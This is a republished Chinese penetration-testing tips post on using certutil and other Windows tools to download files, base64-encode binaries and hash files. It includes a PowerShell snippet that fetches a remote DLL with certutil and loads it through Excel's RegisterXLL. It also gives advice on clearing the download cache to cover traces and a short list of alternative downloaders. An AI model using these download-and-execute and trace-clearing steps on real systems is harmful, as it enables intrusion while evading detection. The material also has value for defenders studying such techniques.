[渗透技巧] Windows命令行下载
2018-01-08 10:49
633 查看
certutil简介
用于证书管理支持环境: XP - Windows 10 全系统
更多:https://technet.microsoft.com/zh-cn/library/cc755341(v=ws.10).aspx
downloader
(1) 保存在当前路径,文件名称同URLeg:
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt[/code]
(2) 保存在当前路径,指定保存文件名称
eg:certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt file.txt
(3) 保存在缓存目录,名称随机
缓存目录位置:%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
eg:certutil.exe -urlcache -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt[/code]
(4) 支持保存二进制文件
eg:certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll[/code]
注:
使用downloader默认在缓存目录位置:%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content保存下载的文件副本
清除下载文件副本方法:
方法1: 直接删除缓存目录对应文件
如下图
方法2: 命令行:certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete
补充:
查看缓存项目:certutil.exe -urlcache *
如下图
实际测试:
测试系统安装Office软件,下载执行dll对应的powershell代码如下:$path="c:\test\msg1.dll" certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll $path $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application")) $excel.RegisterXLL($path)
测试如下:2、计算文件hash
(1) SHA1certutil.exe -hashfile msg.dll
(2) SHA256:certutil.exe -hashfile msg.dll SHA256
(3) MD5:certutil.exe -hashfile msg.dll MD53、base64编码转换
(1) base64编码:CertUtil -encode InFile OutFile
(2) base64解码CertUtil -decode InFile OutFile
注:
编码后的文件会添加两处标识信息:
文件头:-----BEGIN CERTIFICATE-----
文件尾:-----END CERTIFICATE-----
如下图downloader常用方法
利用certUtil简便快捷,但是使用后需要注意清除缓存,路径如下:%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
downloader常用方法如下:
certUtil
powershell
csc
vbs
JScript
hta
bitsadmin
wget
debug
ftp
ftfpbase64编码转换常用方法
在编写脚本操作二进制文件时,常常会因为不可见字符报错,所以通常会选择先对二进制文件作base64编码再操作,最后通过解码还原出二进制文件。
所以在此整理一下常用不同开发工具对应的base64编码转换方式powershell
base64编码:$PEBytes = [System.IO.File]::ReadAllBytes("C:\windows\system32\calc.exe") $Base64Payload = [System.Convert]::ToBase64String($PEBytes) Set-Content base64.txt -Value $Base64Payload
base64解码:$Base64Bytes = Get-Content ("base64.txt") $PEBytes= [System.Convert]::FromBase64String($Base64Bytes) [System.IO.File]::WriteAllBytes("calc.exe",$PEBytes)C SHARP(c#)
base64编码:using System.IO; byte[] AsBytes = File.ReadAllBytes(@"C:\windows\system32\calc.exe"); String AsBase64String = Convert.ToBase64String(AsBytes); StreamWriter sw = new StreamWriter(@"C:\test\base64.txt"); sw.Write(AsBase64String); sw.Close();
base64解码:using System.IO; String AsString = File.ReadAllText(@"C:\test\base64.txt"); byte[] bytes = Convert.FromBase64String(AsString); FileStream fs = new FileStream(@"C:\test\calc.exe", FileMode.Create); fs.Write(bytes, 0, bytes.Length); fs.Flush(); fs.Close();js
base64解码:fso1=new ActiveXObject("Scripting.FileSystemObject"); f=fso1.OpenTextFile("C:\\test\\base64.txt",1); base64string=f.ReadAll(); f.Close(); enc = new ActiveXObject("System.Text.ASCIIEncoding"); length = enc.GetByteCount_2(base64string); ba = enc.GetBytes_4(base64string); transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform"); ba = transform.TransformFinalBlock(ba, 0, length); s=new ActiveXObject("ADODB.Stream"); s.Type=1; s.Open(); s.Write(ba); s.SaveToFile("C:\\test\\calc.exe",2);certutil
base64编码:CertUtil -encode InFile OutFile
base64解码:CertUtil -decode InFile OutFile
注:
编码后的文件会添加两处标识信息:
文件头:
—–BEGIN CERTIFICATE—–
文件尾:
—–END CERTIFICATE—–检测downloader
查看利用certUtil下载文件的缓存记录:certutil.exe -urlcache *
缓存文件位置:%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
相关文章推荐
- Mac技巧之苹果电脑Mac OS X系统上,类似Windows画图板的软件paintbrush介绍与下载
- 如何使用windows命令行(cmd)脚本远程下载文件
- windows中的命令行及批处理使用基本技巧
- windows下命令行终端使用rz,sz上传/下载文件参数详解
- [下载]微软Windows命令行PowerShell 2.0
- 使用SVN命令行工具,svn下载,windows命令行下svn
- windows命令行的技巧
- 渗透技巧——如何巧妙利用PSR监控Windows桌面
- Windows、linux系统使用命令提示符功能(cmd,command,又称命令行)详细图文教程和手册下载
- windows命令行下载文件
- Windows命令行技巧
- windows怎么从命令行下载文件
- windows 命令行与批处理 技巧
- windows平台下使用Github(4 使用命令行方式 上传和下载 )
- Windows命令行kill进程小技巧
- Windows:在命令行或者bat脚本中上传下载文件
- 【技术分享】Windows环境渗透技巧之PowerShell Payload的远程执行
- windows内网渗透技巧